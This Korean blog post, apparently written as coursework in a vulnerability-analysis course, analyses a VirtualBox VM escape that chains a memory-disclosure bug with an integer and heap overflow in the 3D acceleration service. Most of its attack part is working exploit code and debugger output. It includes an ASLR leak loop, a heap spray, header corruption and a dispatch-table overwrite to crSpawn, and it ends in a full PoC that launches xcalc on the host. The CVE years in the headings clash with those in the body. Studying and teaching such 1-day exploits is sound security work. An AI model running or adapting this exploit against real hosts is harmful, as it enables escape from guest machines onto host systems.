Notice
Recent Posts
Recent Comments
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

topcue

[1-day Analysis] VirtualBox Escape with CVE-2018-2525 & CVE-2018-2548 본문

1-day Analysis

[1-day Analysis] VirtualBox Escape with CVE-2018-2525 & CVE-2018-2548

topcue 2020. 2. 25. 19:10

VM ESCAPE

목차

  • 개요
  • 분석 환경 구축(노션)
  • 분석
  • PoC
  • 참고(노션)

개요

CVE-2018-2525CVE-2018-2048을 분석하고 exploit 해본다.

비오비 8기 취약점분석트랙 공통교육 과정에서 신정훈 멘토님이 강의하고 과제로 내주셨다.

비오비 끝나서 다시 정리해봄.

노션에는 개요, 분석환경 구축, 분석, PoC, 참고 순서로 정리.

블로그에는 개요, 분석, PoC만 게시.


분석

CVE-2019-2525와 CVE-2019-2548를 이용해 vm을 탈출한다!

  • CVE-2019-2525 : "crUnpackExtendGetAttribLocation" Information Disclosure
  • CVE-2019-2548 : "crServerDispatchReadPixels" Integer overflow, lead to Heap overflow

VBOX의 3D 가속화 기능은 Chromium 라이브러리를 기반으로 만들어짐.
Chromium은 OpenGL 기반으로 3D 그래픽을 remote rendering할 수 있는 라이브러리다.

VBOX는 Chromium에 HGCM(Host/Guest Communication Manager)이라는 프로토콜을 추가함.
이 프로토콜로 Guest OS에서 실행중인 Chromium Client가 Host OS에서 실행 중인 Chromium 서버와 통신할 수 있다.

HGCM 프로토콜 사용 서비스는 다음과 같다.

  • VBoxSharedClipboard
  • VBoxDragAndDropSvc
  • VBoxSharedFolders
  • VBoxSharedCrOpenGL

chromium client용 python library인 3dpwn을 이용할 것이다.

git clone https://github.com/niklasb/3dpwn

3dpwn/lib 디렉토리에 chromium.py hgcm.py opcodes.py 가 있는데, 여기에 함수들이 정의되어 있으니 그냥 가져다 쓰면 된다.

동작 방식은 다음과 같다.

  1. Chromium client (GuestOS)는 opcodes+data로 구성된 rendering command를
    Chromium Server로 전송
  2. Chromium Server (HostOS)는 opcodes+data로 구성된 command를 처리하여
    frame buffer에 결과를 저장함.
  3. Frame Buffer content는 GuestOS의 Chromium 으로 다시 전송 됨.

다음은 CRMessageOpcde 구조이다.

exploit할 때는 전부 numOpcode에 1을 넣고 opcode를 하나씩 보냈다.

다음은 3dpwn(VBoxHGCM wrapper) Library 주요 함수들이다.

  • hgcm_connect

  • hgcm_disconnect

  • hgcm_call(conn_id, function, params)

    • function:

    SHCRGL_GUEST_FN_WRITE_BUFFER

    SHCRGL_GUEST_FN_WRITE_READ_BUFFERED

SHCRGL_GUEST_FN_WRITE_BUFFER는 Chromium 클라이언트가 SHCRGL_GUEST_FN_WRITE_READ_BUFFERED 함수를 호출하는 메시지를 보낼 때 까지 free되지 않은 버퍼 할당한다.

이를 이용해 힙 스프레이가 가능하다.

def alloc_buf(client, sz, msg='a'):
    buf,_,_,_ = hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0, sz, 0, msg])
    return buf

def crmsg(client, msg, bufsz=0x1000):
    ''' Allocate a buffer, write a Chromium message to it, and dispatch it. '''
    assert len(msg) <= bufsz
    buf = alloc_buf(client, bufsz, msg)
    # buf,_,_,_ = hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0, bufsz, 0, msg])
    _, res, _ = hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [buf, "A"*bufsz, 1337])
    return res

CVE-2018-2525는 crUnpackExtendGetAttribLocation() 함수에서 packet_length를 체크하지 않아서 발생한 취약점이 발생한다.

다음은 crUnpackExtendGetAttribLocation() 함수이다.

void crUnpackExtendGetAttribLocation(void)
{
    int packet_length = READ_DATA(0, int);
    GLuint program = READ_DATA(8, GLuint);
    const char *name = DATA_POINTER(12, const char);
    SET_RETURN_PTR(packet_length-16);    // <- !!
    SET_WRITEBACK_PTR(packet_length-8);
    cr_unpackDispatch.GetAttribLocation(program, name);
}

패킷 길이에 대한 검사가 없어서, 사용자가 입력한 데이터 길이보다 더 뒤, 또는 더 앞에(signed라서) 있는 값을 읽어옴. (익스 할 때는 뒤에 있는 값만 읽음)

그래서 지금은 아래 그림처럼 패치 되었음.

packet_length 체크 안하는 걸로 뭘 할 수 있을까?

→ 간단한 trigger code를 작성함.

import sys, os
from struct import pack, unpack
print os.path.dirname(__file__)
sys.path.append("./3dpwn/lib")
from chromium import *

def leak_msg(offset):
    msg = ( pack("<III", CR_MESSAGE_OPCODES, 0x00, 1)
            + "\x00\x00\x00" + chr(CR_EXTEND_OPCODE)
            + pack("<I", offset)
            + pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE)
            + pack("<I", 0x00) )
    return msg

if __name__ == "__main__":
    client = hgcm_connect("VBoxSharedCrOpenGL")
    set_version(client)        

    print " [0] trigger"
    address = crmsg(client, leak_msg(0x00))

# EOF

client = hgcm_connect("VBoxSharedCrOpenGL")set_version(client)은 연결하는거라 필수임.

그 아래 crmsg() 함수가 3dpwn 함수인데, 그냥 실행하면 아무것도 안보이니 브레이크를 걸어야한다.

b* crUnpackExtendGetAttribLocation+49

gdb

# crUnpackExtendGetAttribuLocation()+49
In file: /home/topcue/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/unpacker/unpack_shaders.c
   336 void crUnpackExtendGetAttribLocation(void)
   337 {
   338     int packet_length = READ_DATA(0, int);
   339     GLuint program = READ_DATA(8, GLuint);
   340     const char *name = DATA_POINTER(12, const char);
 ► 341     SET_RETURN_PTR(packet_length-16);
   342     SET_WRITEBACK_PTR(packet_length-8);
   343     cr_unpackDispatch.GetAttribLocation(program, name);
   344 }

# disassemble
► x7fe81384fad1 <crUnpackExtendGetAttribLocation+49>    call   crMemcpy@plt <x7fe813798c30>
        rdi: x7fe813aa0010 (cr_server+18704) ◂— x7ffc48151938
        rsi: x7fe7fcde8a30 ◂— x77474c01
        rdx: x8
        rcx: x1

crUnpackExtendGetAttribLocation+49가 SET_RETURN_PTR(packet_length-16)에 해당한다.

SET_RETURN_PTR(packet_length-16)packet_length - 16에 있는 값을 복사해서 주라는 의미이다.

SET_RETURN_PTR이 memcpy() 안의 레퍼이고, 여기 인자를 넣고 레지스터 $rsi를 보면 복사될 값이 보인다.

→ 왜 이런 짓을 하냐?

위 instruction이 동작할 때 $rsi 주변에 유의미한 값이 있기 때문이다.

$rsi-0xa0 정도부터 살펴보면 _texformat_l8의 주소가 있다.

_texformat_l8는 나중에 ASLR을 우회하기 위한 고정점으로 쓰인다.

  • 고정점으로 뭘 구하는가?

    _texformat_l8과의 offset을 이용해 cr_server의 주소를 구할 수 있는데, 이때 cr_server는 ASLR이 있는 host pc에서 정확한 함수의 주소로 접근하기위해 필요하다.

    정석은 cr_server 주소를 이용해 또다른 함수 주소로 접근하는 것 같은데, exploit 할 때는 그냥 texformat에서 필요한 함수 주소 오프셋을 더하고 빼서 바로 접근했음

_texformat_l8의 주소도 달라지지만 하위 3바이트는 고정이다. 따라서 이 3바이트를 비교해서 _texformat_l8의 주소를 찾는 코드를 작성해야한다.

_texformat_l8의 하위 3바이트는 환경을 구축할 때마다 달라지므로, 처음 한 번은 직접 구해야한다.

  • _texformat_l8 하위 3바이트 구하기

     

pwndbg> x/10gx $rsi
0x7f29609a9920: 0x4141414177474c01 0xf700000000000001
0x7f29609a9930: 0x0000005f00000000 0x00007f2941424344
0x7f29609a9940: 0x0000140100001908 0x0000000000000000
0x7f29609a9950: 0x00007f2975165950 0x0000000000000000 // <- !
0x7f29609a9960: 0x0000000000000000 0x0000000000000000

pwndbg> x/x 0x00007f2975165950
0x7f2975165950 <_texformat_l8>: 0x0000000800000000

내 경우엔 0x950으로 끝난다.

_texformat_l8 주소 구하는 코드를 작성한다.

  • a.py

    import sys, os
    from struct import pack, unpack
    print os.path.dirname(__file__)
    sys.path.append("./3dpwn/lib")
    from chromium import *
    
    def leak_msg(offset):
        msg = ( pack("<III", CR_MESSAGE_OPCODES, 0x00, 1)
                + "\x00\x00\x00" + chr(CR_EXTEND_OPCODE)
                + pack("<I", offset)
                + pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE)
                + pack("<I", 0x00) )
        return msg
    
    if __name__ == "__main__":
        client = hgcm_connect("VBoxSharedCrOpenGL")
        set_version(client)        
    
        print " [1] Leak Memory"
        for offset in range(0, 0xffff, 4):
            address = crmsg(client, leak_msg(offset))
            if unpack("Q", address[8:16])[0] % 0x1000 == 0x950:
                break
        texformat = unpack("Q", address[8:16])[0]
    
    # EOF

    나중에는 exploit 코드를 계속 돌리다 보면 메모리가 다 망가져서 memory leak를 제대로 못하는 경우가 생긴다.

    그냥 VBox 끄고 다시 켜주자.

이제 나중에 쓸 함수들 주소 offset을 구하자.

  • offset 구하기

    pwndbg> x/x _texformat_l8
    
    pwndbg> x/x &cr_server
    
    pwndbg> x/x crSpawn
    
    pwndbg> x/x &cr_unpackDispatch

    cr_server는 원래 다른 함수들에 접근하기 위해 필요했는데, 사실 위 처럼 texformat으로도 접근 가능해서 구할 필요는 없다.

    crSpawn는 마지막에 원하는 함수를 호출하기 위해 필요하고, cr_unpackDispatch는 함수 테이블 같은 역할을 해서 나중에 변조해야한다.

    • cr_unpackDispatch

pwndbg> x/20ga &cr_unpackDispatch
0x7fa8830824c0 : 0x7fa8d36c7560 0x7fa882d8bcc0 
0x7fa8830824d0 <cr_unpackDispatch+16>: 0x7fa882d8bcf0 0x7fa882d8bd20 
0x7fa8830824e0 <cr_unpackDispatch+32>: 0x7fa882d97fc0 0x7fa882d97740 
0x7fa8830824f0 <cr_unpackDispatch+48>: 0x7fa8d36c8100 0x7fa882d97950 
0x7fa883082500 <cr_unpackDispatch+64>: 0x7fa882d9c2a0 0x7fa882d9c5e0 
0x7fa883082510 <cr_unpackDispatch+80>: 0x7fa882d9c630 0x7fa882d829b0 
0x7fa883082520 <cr_unpackDispatch+96>: 0x7fa882d8bd60 0x7fa882d97b30 
0x7fa883082530 <cr_unpackDispatch+112>: 0x7fa882da0000 0x7fa882d98340 
0x7fa883082540 <cr_unpackDispatch+128>: 0x7fa882d9c1c0 0x7fa882d9c230 
0x7fa883082550 <cr_unpackDispatch+144>: 0x7fa882d98520 0x7fa882d974c0

다음으로 CVE-2018-2548는 crServerDispatchReadPixels() 함수에서 integer overflow가 발생하고, 이를 이용해 heap overflow를 유도할 수 있다.

다음은 crServerDispatchReadPixels() 함수의 일부이다.

// [2]의 msg_len = sizeof(*rp) + (uint32_t)bytes_per_row * height에서 sizeof(*rp)이 0x38이다.

따라서 msg_len(CRVBOXSVCBUFFER_t 길이)은 0x38 이상의 값을 기대할 수 있는데, interger overflow를 이용해 0x38보다 작거나 같은 값도 만들 수 있다.

CRMessageReadPixels의 구조는 다음과 같다.

msg_len = sizeof(*rp) + (uint32_t)bytes_per_row * height에서 msg_len을 0x20으로 만들기 위해서

byte_per_row에 0x1FFFFFFD를, height에 0x18을 넣어 줘야한다.

다음은 박스의 구조체이다.

uiId와 uiSize, pData가 있고, 앞뒤 노드를 가리키는 포인터가 존재한다.

실제 힙 영역에서 박스는 다음과 같이 생겼다.

# 0x20 size box
0x7f326d406890:    0x000000200000534f    0x00007f326d4068c0    // uiId, uiSize    pData
0x7f326d4068a0:    0x00007f326d406830    0x00007f326d4068f0    // pNext           pPrev
0x7f326d4068b0:    0x0000000000000000    0x0000000000000035    // heap chunk
0x7f326d4068c0:    0x4444444444444444    0x4444444444444444    // (Data 0x20)
0x7f326d4068d0:    0x4444444444444444    0x4444444444444444
0x7f326d4068e0:    0x0000000000000000    0x0000000000000035    // chunk

힙 스프레이 시나리오는 다음과 같다.

  1. 먼저 0x20 크기의 CRVBOXSVCBUFFER_t box(이하 box)들을 힙에 많이 할당한다.
  2. 0x20 크기의 freed 공간이 필요하므로, 박스를 하나 free 해준다.
  3. interger overflow를 이용해 msg_len을 0x20으로 속인 뒤, 해당 박스에 0x38 크기의 박스를 할당한다.
  4. 0x38 박스가 0x20 크기의 박스들 사이에 들어가 있으므로 0x38 박스 바로 뒤에 있는 0x20 박스를 0x18만큼 overwrite할 수 있다.
  5. 0x18을 overwrite한다는 것은 uiid와 uisize를 overwrite할 수 있다는 것을 의미한다.

msg_len을 0x20으로 변조한 부분까지 코드를 작성하면 다음과 같다.

  • a.py

    import sys, os
    from struct import pack, unpack
    print os.path.dirname(__file__)
    sys.path.append("./3dpwn/lib")
    from chromium import *
    
    def leak_msg(offset):
        msg = ( pack("<III", CR_MESSAGE_OPCODES, 0x00, 1)
                + "\x00\x00\x00" + chr(CR_EXTEND_OPCODE)
                + pack("<I", offset)
                + pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE)
                + pack("<I", 0x00) )
        return msg
    
    def gen_deadbeef_msg():
        msg = ( pack("<III", CR_MESSAGE_OPCODES, 0x00, 1)
                + '\x00\x00\x00' + chr(CR_READPIXELS_OPCODE)
                + pack("<III", 0x00, 0x00, 0x00)
                + pack("<II", 0x08, 0x35)
                + pack("<IQQ", 0x00, 0x00, 0x00)
                + pack("<II", 0x1ffffffd, 0x00)
                + pack("<I", 0xDEADBEEF)
                + pack("<I", 0xFFFFFFFF)
                + pack("<I", 0x00) )
        return msg
    
    if __name__ == "__main__":
        client = hgcm_connect("VBoxSharedCrOpenGL")
        set_version(client)        
    
        print " [1] Leak Memory"
        for offset in range(0, 0xffff, 4):
            address = crmsg(client, leak_msg(offset))
            if unpack("Q", address[8:16])[0] % 0x1000 == 0x950:
                break
    
        texformat = unpack("Q", address[8:16])[0]
        print "\t[+] addr of texformat :", hex(texformat)
        cr_server = texformat + 0x22EDB0
        print "\t[+] addr of cr_server :", hex(cr_server)
        crSpawn = texformat - 0x307440
        print "\t[+] addr or crSpawn   :", hex(crSpawn)
        cr_unpackDispatch = texformat + 0x239B70
        print "\t[+] addr of cr_unpackDispatch :", hex(cr_unpackDispatch)
    
        print " [2] HEAP spray"
        buf_list = []
        for i in range(1, 10000):
            buf = alloc_buf(client, 0x20, "D" * 0x20)
            buf_list.append(buf)
    
        print " [3] Free"
        buf = buf_list[1000]
        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [buf, 'A', 0x00])
    
        print " [4] Generate DEADBEEF box"
        crmsg(client, gen_deadbeef_msg())
    
        print(":: EOF")
    
    # EOF

gen_deadbeef_msg() 함수에서 msg_len을 조작하고, 동시에 뒤에 있는 박스의 uiid와 uisize를 각각 0xdeadbeef, 0xffffffff로 변조했다.

  • msg_len 변조 성공

    ► 0x7fd5ee66f8a8 <crServerDispatchReadPixels+152>    call   crAlloc@plt <0x7fd5ee646920>
           rdi: 0x20
           rsi: 0x88eb
           rdx: 0x0
           rcx: 0x7fd63695b2c0 (__pthread_keys) ◂— 0x1
    ► 59         rp = (CRMessageReadPixels *) crAlloc( msg_len );

다음은 위 코드를 실행했을 때의 메모리이다

# find address with search command

# search -t qword "0xffffffffdeadbeef"

pwndbg> x/60gx 0x7fa86e4d0630
0x7fa86e4d0630:    0xffffffffdeadbeef    0x00007fa86e4d0660
0x7fa86e4d0640:    0x00007fa86e4d0570    0x00007fa86e4d0690
0x7fa86e4d0650:    0x0000000000000000    0x0000000000000035
0x7fa86e4d0660:    0x4444444444444444    0x4444444444444444
0x7fa86e4d0670:    0x4444444444444444    0x4444444444444444
0x7fa86e4d0680:    0x0000000000000000    0x0000000000000035

uiid와 uisize를 알면 hgcm_call() 함수를 이용해 접근할 수 있다.

hgcm_call()을 이용해 pData를 읽고 쓸 수 있는데, 이때 위 deadbeef box는 uisize를 0xffffffff로 변조했으므로 OOB Write가 가능하다.

hccm_call()은 다음과 같이 쓰인다.

hgcm_call(client, SHCRGL_FN_WRITE_BUFFER, [parm1, param2, param3, param4])

SHCRGL_FN_WRITE_BUFFER은 미리 선언한 매크로이며, 위에서 언급한 "데이터를 쓰는" 옵코드 이다. alloc_buf() 함수 내부에 존재하며, READ_WRITE_BUFFERED 매크로를 사용할 경우 데이터를 FREE한다. 이를 이용해 원하는 만큼 쓰고, 프리할 수 있다.

4개의 param들의 설명은 vbox를 빌드하는데 쓰인 폴더 안에서 찾을 수 있었다.

각각 uiid, uisize, buffer로 부터의 거리, pdata를 나타낸다.

→ param3을 이용해 OOB R/W가 가능하다.

이후 과정은 말로 설명하기가 너무 어렵다. 그냥 작성한 PoC 코드 보면서 정리했다.

print " [5] Attach to deadbeef box & Generate deadceba box to corrupt its pData to addr_dispatch"
tmp_pack = pack("<II", 0xdeadceba, 0xeeeeeeee) + pack("<Q", cr_unpackDispatch+0xd8)
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0x90, tmp_pack])

print " [6] Attach to deadceba box & Overwrite pData(overwrited to cr_unpackDispatch) to crSpawn"
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadceba, 0xeeeeeeee, 0x00, pack("<Q", crSpawn)])

print " [7] Attach deadceba & overwrite its pData to xcalc"
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0x98, pack("<Q", cr_unpackDispatch)])
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadceba, 0xeeeeeeee, 0x00, pack("<Q", 0x00636c616378)])

5라운드는 deadbeef 박스에 접근해서 0x90만큼 떨어진 곳에 tmp_pack을 쓴다.

  • 0x90 만큼 떨어진 곳에 뭐가 있나?

    다다음 박스의 uiid와 uisize가 있음

    0x7f326d406830:    0xffffffffdeadbeef    0x00007f326d406860
    0x7f326d406840:    0x00007f326d406770    0x00007f326d406890
    0x7f326d406850:    0x0000000000000000    0x0000000000000035
    0x7f326d406860:    0x4444444444444444    0x4444444444444444    // pData
    0x7f326d406870:    0x4444444444444444    0x4444444444444444
    0x7f326d406880:    0x0000000000000000    0x0000000000000035
    
    0x7f326d406890:    0x000000200000534f    0x00007f326d4068c0
    0x7f326d4068a0:    0x00007f326d406830    0x00007f326d4068f0
    0x7f326d4068b0:    0x0000000000000000    0x0000000000000035
    0x7f326d4068c0:    0x4444444444444444    0x4444444444444444
    0x7f326d4068d0:    0x4444444444444444    0x4444444444444444
    0x7f326d4068e0:    0x0000000000000000    0x0000000000000035
    
    0x7f326d4068f0:    0xeeeeeeeedeadceba    0x00007f326b5968e8    // pData+0x90
    0x7f326d406900:    0x00007f326d406890    0x00007f326d406950
    0x7f326d406910:    0x0000000000000000    0x0000000000000035
    0x7f326d406920:    0x4444444444444444    0x4444444444444444
    0x7f326d406930:    0x4444444444444444    0x4444444444444444
    0x7f326d406940:    0x0000000000000000    0x0000000000000035
    0x7f326d406950:    0x0000002000005351    0x00007f326d406980

tmp_pack은 deadceba라는 uiid, 0xeeeeeeee라는 uisize, 그리고 cr_unpackDispatch+0xd8pData를 변조한다.

cr_unpackDispatch는 함수 테이블 역할을 하고, +0xd8만큼 이동하면 나중에 쓸 CR_BOUNDSINFOCR_OPCODE와 관련된 함수가 있음.

6라운드는 deadceba 박스에 접근해서 pData를 crSpawn으로 변조한다.

이때 deadceba는 5라운드에서 pData가 cr_unpackDispatch+0xd8으로 변조 되어있으므로, cr_unpackDispatch+0xd8가 crSpawn으로 변조된다.

6라운드 이후 메모리는 다음과 같다.

0x7f0cc24d19f0:    0xffffffffdeadbeef    0x00007f0cc24d1a20
0x7f0cc24d1a00:    0x00007f0cc24d1930    0x00007f0cc24d1a50
0x7f0cc24d1a10:    0x0000000000000000    0x0000000000000035
0x7f0cc24d1a20:    0x4444444444444444    0x4444444444444444
0x7f0cc24d1a30:    0x4444444444444444    0x4444444444444444
0x7f0cc24d1a40:    0x0000000000000000    0x0000000000000035

0x7f0cc24d1a50:    0x00000020000003f7    0x00007f0cc24d1a80
0x7f0cc24d1a60:    0x00007f0cc24d19f0    0x00007f0cc24d1ab0
0x7f0cc24d1a70:    0x0000000000000000    0x0000000000000035
0x7f0cc24d1a80:    0x4444444444444444    0x4444444444444444
0x7f0cc24d1a90:    0x4444444444444444    0x4444444444444444
0x7f0cc24d1aa0:    0x00007f0cc0000078    0x0000000000000035

0x7f0cc24d1ab0:    0xeeeeeeeedeadceba    0x00007f0cecf24598    // &crunpack+0xd8
0x7f0cc24d1ac0:    0x8888888888888888    0x00007f0cc24d1b10
0x7f0cc24d1ad0:    0x0000000000000000    0x0000000000000035
0x7f0cc24d1ae0:    0x4444444444444444    0x4444444444444444
0x7f0cc24d1af0:    0x4444444444444444    0x4444444444444444
0x7f0cc24d1b00:    0x0000000000000000    0x0000000000000035

pwndbg> x/a 0x00007f0cecf24598
0x7f0cecf24598 <cr_unpackDispatch+216>:    0x7f0cec9e3510 <crSpawn>

cr_unpackDispatch+216이 crSpawn으로 변조 되어있다.

7라운드에서는 먼저 deadceba의 pData를 cr_unpackDispatch+0xd8이 아닌 그냥 cr_unpackDispatch로 변조하기 위해 deadbeef box로 접근한다.

deadbeef box에서 0x98 만큼 떨어진 곳이 pData이고, 이 부분을 cr_unpackDispatch+0으로 변조한다.

이후 deadceba에 접근해 Data부분을 "xcalc"인 0x00636c616378로 써준다.

이때 deadceba의 data는 cr_unpackDispatch+0이다.

7라운드까지 성공했을 때 메모리

pwndbg> x/60gx 0x7f2b324d0a40-0xc0
0x7f2b324d0980:    0xffffffffdeadbeef    0x00007f2b324d09b0
0x7f2b324d0990:    0x00007f2b324d08c0    0x00007f2b324d09e0
0x7f2b324d09a0:    0x0000000000000000    0x0000000000000035
0x7f2b324d09b0:    0x4444444444444444    0x4444444444444444
0x7f2b324d09c0:    0x4444444444444444    0x4444444444444444
0x7f2b324d09d0:    0x0000000000000000    0x0000000000000035

0x7f2b324d09e0:    0x00000020000003f7    0x00007f2b324d0a10
0x7f2b324d09f0:    0x00007f2b324d0980    0x00007f2b324d0a40
0x7f2b324d0a00:    0x0000000000000000    0x0000000000000035
0x7f2b324d0a10:    0x4444444444444444    0x4444444444444444
0x7f2b324d0a20:    0x4444444444444444    0x4444444444444444
0x7f2b324d0a30:    0x0000000000000000    0x0000000000000035

0x7f2b324d0a40:    0xeeeeeeeedeadceba    0x00007f2b37ffe4c0
0x7f2b324d0a50:    0x8888888888888888    0x00007f2b324d0aa0
0x7f2b324d0a60:    0x0000000000000000    0x0000000000000035
0x7f2b324d0a70:    0x4444444444444444    0x4444444444444444
0x7f2b324d0a80:    0x4444444444444444    0x4444444444444444
0x7f2b324d0a90:    0x0000000000000000    0x0000000000000035

pwndbg> x/a 0x00007f2b37ffe4c0
0x7f2b37ffe4c0 <cr_unpackDispatch>:    0x7f2b37abd510 <crSpawn>    // <- !

마지막으로 8라운드와 spawn_msg() 함수이다.

def spawn_msg(string, addr):
    msg = ( pack("<III", CR_MESSAGE_OPCODES, 0x00, 1)
            + '\x00\x00\x00' + chr(CR_BOUNDSINFOCR_OPCODE)
            + pack("<I", 0x0)
            + pack("<Q", string)
            + pack("<III", 0x0, 0x0, 0x0)
            + pack("<Q", addr)
            + pack("<I", 0x00) )
    return msg

print " [8] Call xcalc"
crmsg(client, spawn_msg(0x00636c616378, cr_unpackDispatch)) # 0x636c616378 -> "xcalc"

8라운드에서 spawn_msg() 인자로 string과 addr을 넘겨준다. 이때 옵코드 CR_BOUNDSINFOCR_OPCODE이 cr_unpackDispatch+0xd8에 해당하는 옵코드이다.

CR_BOUNDSINFOCR_OPCODE를 사용한 이유는 crSpawn과 인자가 같기 때문이다.

또 7라운드에서 번거롭게 cr_unpackDispatch → "xcalc" 모양으로 포인터를 만든 이유는 crSpawn에서 execvp() 함수를 사용하기 때문이다.

crSpawn() 함수는 내부에 rsi와 rdi를 인자로 전달하는 execvp() 함수를 사용한다. execvp() 함수를 간단하게 구현해 리버싱 해보았다.

- execvp() 함수 인자

c 코드

disass로 인자 확인

rsi와 rdi에 각각 문자열을 가리키는 더블포인터와 싱글포인터가 있다.
crSpawn() 함수와 같은 방법으로 인자를 전달한다.
따라서 xcal를 가리키는 싱글 포인터와 더블 포인터를 인자로 넣어야겠다고 생각했다.

 

pwndbg> x/60gx 0x7fb8764da5b0-0xc0
0x7fb8764da4f0:    0xffffffffdeadbeef    0x00007fb8764da520
0x7fb8764da500:    0x00007fb8764da430    0x00007fb8764da550
0x7fb8764da510:    0x0000000000000000    0x0000000000000035
0x7fb8764da520:    0x4444444444444444    0x4444444444444444
0x7fb8764da530:    0x4444444444444444    0x4444444444444444
0x7fb8764da540:    0x0000000000000000    0x0000000000000035

0x7fb8764da550:    0x00000020000003f7    0x00007fb8764da580
0x7fb8764da560:    0x00007fb8764da4f0    0x00007fb8764da5b0
0x7fb8764da570:    0x0000000000000000    0x0000000000000035
0x7fb8764da580:    0x4444444444444444    0x4444444444444444
0x7fb8764da590:    0x4444444444444444    0x4444444444444444
0x7fb8764da5a0:    0x0000000000000000    0x0000000000000035

0x7fb8764da5b0:    0xeeeeeeeedeadceba    0x00007fb899a554c0
0x7fb8764da5c0:    0x00007fb8764da550    0x00007fb8764da610
0x7fb8764da5d0:    0x0000000000000000    0x0000000000000035
0x7fb8764da5e0:    0x4444444444444444    0x4444444444444444
0x7fb8764da5f0:    0x4444444444444444    0x4444444444444444
0x7fb8764da600:    0x0000000000000000    0x0000000000000035
0x7fb8764da610:    0x00000020000003f9    0x00007fb8764da640

pwndbg> x/a 0x00007fb899a554c0
0x7fb899a554c0 <cr_unpackDispatch>:    0x636c616378
pwndbg> x/a 0x00007fb899a554c0+0xd8
0x7fb899a55598 <cr_unpackDispatch+216>:    0x7fb899514510 <crSpawn>

PoC

import sys, os
from struct import pack, unpack
print os.path.dirname(__file__)
sys.path.append("./3dpwn/lib")
from chromium import *

def leak_msg(offset):
    msg = ( pack("<III", CR_MESSAGE_OPCODES, 0x00, 1)
            + "\x00\x00\x00" + chr(CR_EXTEND_OPCODE)
            + pack("<I", offset)
            + pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE)
            + pack("<I", 0x00) )
    return msg

def gen_deadbeef_msg():
    msg = ( pack("<III", CR_MESSAGE_OPCODES, 0x00, 1)
            + '\x00\x00\x00' + chr(CR_READPIXELS_OPCODE)
            + pack("<III", 0x00, 0x00, 0x00)
            + pack("<II", 0x08, 0x35)
            + pack("<IQQ", 0x00, 0x00, 0x00)
            + pack("<II", 0x1ffffffd, 0x00)
            + pack("<I", 0xDEADBEEF)
            + pack("<I", 0xFFFFFFFF)
            + pack("<I", 0x00) )
    return msg

def spawn_msg(string, addr):
    msg = ( pack("<III", CR_MESSAGE_OPCODES, 0x00, 1)
            + '\x00\x00\x00' + chr(CR_BOUNDSINFOCR_OPCODE)
            + pack("<I", 0x0)
            + pack("<Q", string)
            + pack("<III", 0x0, 0x0, 0x0)
            + pack("<Q", addr)
            + pack("<I", 0x00) )
    return msg

if __name__ == "__main__":
    client = hgcm_connect("VBoxSharedCrOpenGL")
    set_version(client)        

    print " [1] Leak Memory"
    for offset in range(0, 0xffff, 4):
        address = crmsg(client, leak_msg(offset))
        if unpack("Q", address[8:16])[0] % 0x1000 == 0x950:
            break

    texformat = unpack("Q", address[8:16])[0]
    print "\t[+] addr of texformat :", hex(texformat)
    cr_server = texformat + 0x22EDB0
    print "\t[+] addr of cr_server :", hex(cr_server)
    crSpawn = texformat - 0x307440
    print "\t[+] addr or crSpawn   :", hex(crSpawn)
    # crServerDispatchReadPixels = texformat - 0xAD140
    # print "\t[+] addr or Dispatch  :", hex(crServerDispatchReadPixels), "\t(crServerDispatchReadPixels)"
    cr_unpackDispatch = texformat + 0x239B70
    print "\t[+] addr of cr_unpackDispatch :", hex(cr_unpackDispatch)

    print " [2] HEAP spray"
    buf_list = []
    for i in range(1, 10000):
        buf = alloc_buf(client, 0x20, "D" * 0x20)
        buf_list.append(buf)

    print " [3] Free"
    buf = buf_list[1000]
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [buf, 'A', 0x00])

    print " [4] Generate DEADBEEF box"
    crmsg(client, gen_deadbeef_msg())

    print " [5] Attach to deadbeef box & Generate deadceba box to corrupt its pData to cr_unpackDispatch"
    tmp_pack = pack("<II", 0xdeadceba, 0xeeeeeeee) + pack("<Q", cr_unpackDispatch+0xd8)
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0x90, tmp_pack])

    print " [6] Attach to deadceba box & Overwrite pData(overwrited to cr_unpackDispatch) to crSpawn"
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadceba, 0xeeeeeeee, 0x00, pack("<Q", crSpawn)])

    print " [7] Attach deadceba & overwrite its pData to xcalc"
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0x98, pack("<Q", cr_unpackDispatch)])
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadceba, 0xeeeeeeee, 0x00, pack("<Q", 0x00636c616378)])

    print " [8] Call xcalc"
    crmsg(client, spawn_msg(0x00636c616378, cr_unpackDispatch)) # 0x636c616378 -> "xcalc"

    print " [9] PWN!!!!!!!!!!!!!!!!! HAPPY HAPPY~~~\n :: EOF"

    print(":: EOF")

# EOF

xcalc!

  • 리얼머신

  • 가상머신


참고

- 원본 노션 링크

https://www.notion.so/topcue/VM-ESCAPE-f6e1ede6725043afb638d391b4a03fdb

불러오는 중입니다...

- 3dpwn library 구현 함수

def SHCRGL_GUEST_FN_WRITE_BUFFER
def SHCRGL_GUEST_FN_WRITE_READ_BUFFERED
def set_version
def alloc_buf
def crmsg

# singi@singi-VirtualBox:~/3dpwn/lib$ cat chromium.py
from opcodes import *
from struct import pack, unpack

from hgcm import *

  SHCRGL_GUEST_FN_WRITE = 2
